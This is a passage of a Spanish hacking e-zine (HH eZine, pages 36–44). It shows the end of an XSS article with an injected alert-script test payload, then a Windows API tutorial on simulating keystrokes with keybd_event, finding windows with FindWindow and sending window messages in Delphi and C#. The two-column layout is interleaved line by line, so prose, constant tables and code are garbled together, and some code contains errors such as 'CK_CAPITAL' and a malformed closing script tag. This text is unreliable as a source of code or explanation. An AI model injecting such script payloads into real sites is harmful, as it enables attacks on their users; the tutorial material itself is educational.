con la palabra vulnerable ( felicidades amplia variedad de aplicaciones web
acabas de inyectar cdigo javaScript en un ya mencionadas todos depende del mismo
sitio web). mecanismo. la diferencia es que las aplicaciones
web reales suelen almacenar la entrada en una
Listado HTML tras la inyeccin DB e incluirlas bajo demanda en el sitio web
de unos usuario especficos .pero no pienses que
<html> solo las aplicaciones web que reciben entrada
<head> directas de usuarios son vulnerables tambin los
<title>xss-test | mensaje nuevo</title> contenidos indirectos como las aplicaciones de
</head> correo electrnicos pueden contener cdigo
<body> script la mayora de proveedores de webmails
<h3>tusmensajes nuevos:</h3><br /> mas importantes han tenido problemas con el
<b>subject</b><br /> XSS en los ltimos aos
<script>alert("vulnerable");<script>
</body> Tipos de vulnerabilidades
</html>
Qu ha pasado ?
Pag 36 de 44 HH eZine
VK_APPS = 93;
VK_NUMPAD0 = 96;
Con esto: VK_NUMPAD1 = 97;
VK_NUMPAD2 = 98;
GetCursorPos(punto); VK_NUMPAD3 = 99;
SetCursorPos(punto.X+100, punto.Y+10); VK_NUMPAD4 = 100;
VK_NUMPAD5 = 101;
VK_NUMPAD6 = 102;
Procedimiento keybd_event VK_NUMPAD7 = 103;
VK_NUMPAD8 = 104;
(bVk, bScan: Byte; dwFlags,dwExtraInfo VK_NUMPAD9 = 105;
VK_MULTIPLY = 106;
:DWORD); VK_ADD = 107;
VK_SEPARATOR = 108;
Est contenida en User32.dll de nombre keybd_event VK_SUBTRACT = 109;
Todos los parmetros son de entrada.BVk: es el cdigo VK_DECIMAL = 110;
de la tecla a pulsar.Corresponde a su equivalente en VK_DIVIDE = 111;
VK_F1 = 112;
ASCII, para teclas normales (por ejemplo A = 65, Z = 90, VK_F2 = 113;
a = 97...), y a los cdigos de teclas virtuales para simular VK_F3 = 114;
las teclas virtuales (espacio, enter, tab, mayus, Alt...). En VK_F4 = 115;
la siguiente tabla, se muestran las teclas virtuales y su VK_F5=116
VK_F6=117
correspondiente valor en hexadecimal. VK_F7=118
VK_CANCEL = 3; VK_F8=119
VK_BACK = 8; VK_F9=120
VK_TAB = 9; VK_F10=121
VK_CLEAR = 12; VK_F11=122
VK_RETURN = 13; VK_F12=123
VK_SHIFT = $10; VK_F13=124
VK_CONTROL = 17; VK_F14 = 125;
VK_MENU = 18; VK_F15 = 126;
VK_PAUSE = 19; VK_F16 = 127;
VK_CAPITAL = 20; VK_F17 = 128;
VK_KANA = 21; VK_F18 = 129;
VK_HANGUL = 21; VK_F19=130
VK_JUNJA = 23; VK_F20=131
VK_FINAL = 24; VK_F21=132
VK_HANJA = 25; VK_F22=133
VK_KANJI = 25; VK_F23=134
VK_CONVERT = 28; VK_F24=135
VK_NONCONVERT = 29; VK_NUMLOCK = 144
VK_ACCEPT = 30; VK_SCROLL = 145;
VK_MODECHANGE = 31; VK_LSHIFT = 160;
VK_ESCAPE = 27; VK_RSHIFT = 161
VK_SPACE = $20; VK_LCONTROL = 162;
VK_PRIOR = 33; VK_RCONTROL = 163;
VK_NEXT = 34; VK_LMENU = 164;
VK_END = 35; VK_RMENU = 165;
VK_HOME = 36; VK_PROCESSKEY = 229
VK_LEFT = 37; VK_ATTN = 246;
VK_UP = 38; VK_CRSEL = 247
VK_RIGHT = 39; VK_EXSEL = 248
VK_DOWN = 40; VK_EREOF = 249
VK_SELECT = 41; VK_PLAY = 250;
VK_PRINT = 42; VK_ZOOM = 251;
VK_EXECUTE = 43; VK_NONAME = 252;
VK_SNAPSHOT = 44; VK_PA1 = 253
VK_INSERT = 45; VK_OEM_CLEAR = 254
VK_DELETE = 46;
VK_HELP = 47;
VK_LWIN = 91;
VK_RWIN = 92;
Pag 37 de 44 HH eZine
Keybd_event (VkKeyScan(A), 0,
(Para ms informacin acudir al sitio oficial de MSDN) KEYEVENTF_KEYUP, 0); //La soltamos
Keybd_event (65, 0, 0, 0); //Otra forma
Nota: Podemos usar la funcin VkKeyScan de pulsar A, mediante su codigo ASCII.
(ch: char), que dado un carcter, obtiene el
cdigo asociado que debemos pasar a Ahora vamos a hacer un juego de luces
keybd_event. Est contenida en User32.dll de con el teclado.
nombre VkKeyScanA Var i: entero;
Principio desde i:=1 hasta 50 hacer
BScan: sirve para especificar el cdigo
hardware de la tecla. Por simplificar, usaremos Keybd_event(VK_CAPITAL, 0, 0, 0);
0, ya que este valor no es estrictamente
necesario para nuestro propsito. Keybd_event(VK_CAPITAL,0,KEYEVENT
F_KEYUP, 0);
DwFlags: para indicar posibles
configuraciones de la simulacin. Por ejemplo sleep(100);
para decir si queremos presionar o soltar la
tecla. Existen tres constantes que podemos usar: Keybd_event(VK_NUMLOCK, 0, 0, 0);
KEYEVENTF_EXTENDEDKEY; si se
especifica la pulsacin ser tratada como una Keybd_event(VK_NUMLOCK,0,KEYEVEN
tecla extendida TF_KEYUP, 0);
KEYEVENTF_KEYUP: si se especifica,
equivale a soltar la tecla, si no lo hacemos, sleep(100);fdesde
estaremos pulsndola. fin
KEYEVENTF_SILENT: si se especifica
anularemos cualquier sonido asociado a esa Nota: Sleep(ms: LongInt) es un
tecla. procedimiento de la API, incluida en
Kernel32.dll de nombre Sleep, en la que
DwExtraInfo: es un valor de 32 bits, le pasamos como parmetro los
opcional, asociado a la tecla. milisegundos en los que va a pararse la
ejecucin del cdigo.
Vamos a realizar algunos ejemplos.
Para refrescar un poco la memoria,
Keybd_event (VK_RETURN, 0, 0, 0); veamos como se implementa esto en un
//Simula la pulsacion de ENTER lenguaje determinado, lo haremos en
DELPHI y en C#:
Keybd_event (VK_RETURN, 0,
KEYEVENTF_KEYUP, 0); //Lo soltamos
Implementation
Keybd_event (VkKeyScan(A), 0, 0, 0); {$R *.dfm}
//Simula la pulsacion de A Procedure
Pag 38 de 44 HH eZine
private const int
keybd_event(bVk:Byte;bScan:Byte; KEYEVENTF_EXTENDEDKEY =
dwFlags,dwExtraInfo:DWORD); 0x1;
stdcall; private const int
externaluser32.dllname KEYEVENTF_KEYUP = 0x2;
'keybd_event';
for (int i=1; i<100; i++)
Procedure {
Sleep(milisegundos: Cardinal); stdcall; Keybd_event(VK_CAPITAL, 0, 0,0);
external kernel32.dll name 'Sleep';
stdcall; Keybd_event(CK_CAPITAL,0,
procedure
TForm1.Button1Click(Sender: TObject); KEYEVENTF_KEYUP, 0);
var sleep(100);
i: integer;
begin Keybd_event(VK_NUMLOCK, 0, 0, 0);
for i:=1 to 100 do begin
Keybd_event(VK_NUMLOCK,0,
Keybd_event(VK_CAPITAL, 0, 0, 0); KEYEVENTF_KEYUP, 0);
Keybd_event(CK_CAPITAL,0, sleep(100);
KEYEVENTF_KEYUP, 0); }
sleep(100);
Keybd_event(VK_NUMLOCK, 0, 0, 0); Nota: Ntese la diferencia entre un lenguaje y
Keybd_event(VK_NUMLOCK,0, otro la declaracin de las funciones y el tipo de
datos cmo vara. Por ejemplo lo que en Delphi es
KEYEVENTF_KEYUP, 0); un LongWord (DWORD), en C# es un UINT.
sleep(100);
end; Como dije anteriormente, en ambos
end; lenguajes, y en otros muchos, debido a la
end. librera tan completa que poseen actualmente,
no es necesario declarar las funciones porque
Y en C#: ya vienen declaradas. Por ejemplo podramos
habernos ahorrado declarar Sleep y usarlo tal
[DllImport(user32.dll)]
cual (usando Thread.Sleep, por ejemplo), pero
static extern void keybd_event(byte bVk,
recordamos que la ventaja de hacerlo as es
byte bScan, uint dwFlags, UintPtr
para ahorrarnos incluir ninguna librera (using
dwExtraInfo);
de C# y uses de delphi), y utilizar la DLL de
[DllImport(kernel32.dll)]
Windows, reduciendo considerablemente el
static extern void
tamao de nuestro fichero ejecutable. Esto fue
Sleep (int milisegundos);
comentado en la E-zine n1, por si queris
mas documentacin.
Pag 39 de 44 HH eZine
Dejo al lector, si siente curiosidad, que Si no encuentra la ventana, bien porque
realice una pequea aplicacin para resolver ya no existe o porque los parmetros que
quinielas (1 X 2), mediante este mtodo. Las hemos pasado son incorrectos, devuelve 0. Y
luces parpadearn indefinidamente, hasta que el otro valor, en caso de xito.
usuario pulse cualquier tecla, en este momento
segn haya parado la luz en VK_CAPITAL, Un ejemplo de uso de esta funcin sera:
VK_NUMLOCK o VK_SCROLL sabremos
poner 1 X 2. var
manejador: THandle; //THandle es
Hecho este pequeo recordatorio, y a la equivalente a un LongWord.
vez atractivo (y friqui), retomamos lo hablado
al principio del artculo sobre los manejadores o principio
Handles. manejador:=FindWindow(null, Sin
ttulo Bloc de notas);
Existen funciones que permiten obtener si manejador = 0
este Handle sobre una ventana activa, Imprime(Ventana no
simplemente conociendo el ttulo de sta o encontrada);
sabiendo el nombre de la aplicacin que la cre. //la ventana no existe o no es
Por ejemplo disponemos de FindWindow correcto algunos de los parmetros
| otras: //caso contrario
Funcion FindWindow (lpClassName, Imprime(Ventana encontrada);
lpWindowName: PChar) devuelve THandle //tratar la ventana mediante la
lpClassName: es el nombre de la clase variable manejador.
asociada a la ventana, por ejemplo Notepad si finsi
se trata del bloc de notas de Windows, o fin
IEFrame si se trata de una ventana del
Internet Explorer, etc... si no lo especificamos Ya sabemos obtener la direccin de
debemos ponerlo a null. memoria de cualquier aplicacin abierta en el
sistema, sabiendo simplemente el nombre de
lpWindowsName: es el ttulo de la la clase que la cre, o bien si posee ventana,
ventana. Si abrimos un bloc de notas, el ttulo sabiendo el ttulo de sta.
ser Sin titulo bloc de notas, o si abrimos Probablemente se est preguntando
por ejemplo una ventana de conversacin del como obtener, sin errores, el ttulo o la clase
MSN, el ttulo de sta ser el nickname del asociada a cualquier aplicacin, pues no
usuario Conversacin. Si no lo siempre sabremos esta informacin. Para
especificamos, debemos ponerlo a null. hacer esto existe la posibilidad de obtener
estos datos de todas las aplicaciones en
En esta funcin es obligatorio al menos ejecucin en el sistema, guardarlo por
especificar uno de los dos valores, dejando el ejemplo en una Lista y eligiendo aquella que
otro a null, aunque es ms preciso indicar los buscamos. Veremos esto con detenimiento en
dos. la prxima edicin.
Pag 40 de 44 HH eZine
PostMessage, que devolver inmediatamente si
Para los impacientes, las funciones y el mensaje fue o no introducido en la cola de
procedimientos a utilizar son EnumWindows, mensajes.
que enumera las ventanas en ejecucin,
GetWindowText, que obtiene el ttulo de stas, hWnd: es el Handle de la ventana o
y GetClassName que obtiene la clase asociada aplicacin a la que vamos a enviar el mensaje.
de cada una de ellas. Msg: es el mensaje a mandar. Existen unas
constantes.
Pero, ahora, qu hacemos con la wParam y lParam: son parmetros para
ventana?, cmo puedo trabajar con ella?. dar informacin adicional en algunos mensajes.
Existen dos funciones que permiten
enviar comandos (cerrar, minimizar, etc...), Estas funciones devuelven cierto si el
mensaje se ha logrado insertar correctamente en
la cola de mensajes, y falso en caso contrario.
Funcion PostMessage (hWnd: THandle,
Msg: LongWord, wParam: Entero, lParam: As, vamos a hacer un programa que cierre
Entero) devuelve Booleano Largo; por ejemplo una ventana del Internet Explorer.
Est contenida en User32.dll, de nombre
PostMessageA
Enva el mensaje a la cola de mensajes, y var
retorna m: THandle; //THandle = LongWord
(Delphi) = UINT (C#) = Long (Visual basic) = 4
Funcion SendMessage (hWnd: THandle, bytes
Msg: LongWord, wParam: Entero, lParam:
Entero) devuelve Booleano Largo;
Est contenida en User32.dll de nombre principio
SendMessageA m:=FindWindow(IEFrame, null);
Enva el mensaje a la cola de mensajes y si (m=0)
espera hasta que la aplicacin procese el Imprime(No hay ventanas de
mensaje. Internet Explorer que cerrar);
Cuando enviamos un mensaje, este es |otras:
introducido en una cola, a la espera de ser PostMessage(m, WM_CLOSE, 0, 0);
procesado, pero por lo general las colas suelen Fsi
contener pocos mensajes, por lo que a efectos Fin
prcticos no notaremos diferencia entre ambas.
Si lo que queremos es que nuestra aplicacin Notas: IEFrame es el nombre de la clase
est sincronizada con la que le asociada a las ventanas de Internet Explorer.
enviamos los mensajes, entonces debemos
esperar a que estos sucedan, usaremos
SendMessage. Si no es necesario esperar a que
sea procesado el mensaje, entonces usaremos
Pag 41 de 44 HH eZine
Los mensajes que podemos usar para
enviar son muy variados, algunos mas usados function FindWindow (lpClassName,
son: lpWindowName: PChar): LongWord;
stdcall
WM_NULL = $0000; WM_CREATE=$0001 externaluser32.dllnameFindWindowA;
WM_DESTROY = $0002; WM_NOTIFY=$004E;
WM_MOVE = $0003; WM_GETICON=$007F;
WM_SIZE = $0005; WM_SETICON=$0080; function SetForegroundWindow(hWnd:
WM_ACTIVATE = $0006; WM_KEYFIRS =$0100;
WM_SETFOCUS = $0007; WM_KEYDOWN=$0100; LongWord): LongBool; stdcall;
WM_KILLFOCUS= $0008; WM_KEYUP = $0101; externaluser32.dllname'SetForegroundWindo
WM_ENABLE = $000A; WM_CHAR = $0102;
WM_PAINT = $000F; WM_COMMAND=$0111; w';
WM_CLOSE = $0010; WM_MOUSEFIRS=$0200; {Esta ultima funcin aunque no la he
WM_QUIT = $0012; WM_MOUSEMOVE=$0200;
WM_SHOWWINDOW = $0018; WM_MOUSEWHEEL = explicado, es muy simple, sirve para traer a un
WM_FONTCHANGE = $001D; $020A; primer plano aquella ventana que queremos
WM_SETCURSOR = $0020; WM_MOUSELAST = $020A;
WM_MOUSEACTIVATE= WM_MOVING = 534; pasndole como parmetro su Handle,
$$0021; WM_CLEAR = $0303; previamente obtenido por ejemplo con
WM_PAINTICON = $0026; WM_UNDO = $0304;
WM_SETFONT = $0030; WM_USER = $0400; FindWindow. Como ya observareis, esta
WM_GETFONT = $0031; WM_ERASEBKGND = $0014; contenida en user32.dll}
WM_CANCELJOURNAL =
$004B
FunctionVkKeyScan(ch:Char):smallInt; stdcall;
externaluser32.dllname 'VkKeyScanA';
procedureTForm1.Button1Click(Sender: TObject);
Con estas constantes y las funciones var
vistas, podemos por ejemplo cerrar ventanas i: integer;
molestas (pop-up) de manera automtica, o m: THandle;
simular eventos dentro de ella, por ejemplo
s: string;
podemos enviar combinaciones de teclado, o
secuencias de teclas, como si estuviramos begin
hacindolo manualmente. Para que veis un s:= Hola desde HackHispano;
ejemplo, si abrimos un bloc de notas, y m:=FindWindow(Notepad, nil);
ejecutamos el siguiente cdigo, se escribir la if m<>0 then begin
SetForeGroundWindow(m); //la traemos a
cadena Hola desde HackHispano por si sola
un primer plano
(ver Fig1): for i:=1 to length(s) do begin
Implementation keybd_event(VkKeyScan(s[i]), 0, 0, 0);
{$R *.dfm} end;
procedure keybd_event (bVk: Byte; end else
ShowMessage(Aplicacin no encontrada);
bScan: Byte; dwFlags, dwExtraInfo:
end;
LongWord); stdcall;
externaluser32.dllname 'keybd_event';
Pag 42 de 44 HH eZine
Fig1. Resultado del cdigo anterior escrito en Delphi.
(Enviar secuencia de teclas)
Pag 43 de 44 HH eZine
Redactores :
eXcalibur
Cypress
j8k6f4v9j
4v7n42
Kania
rat
Gondar_f
kraos_inside
HySTD
Maquetacin y Diseo :
Clarinetista
Mimasol
Clarinetista
Pag 44 de 44 HH eZine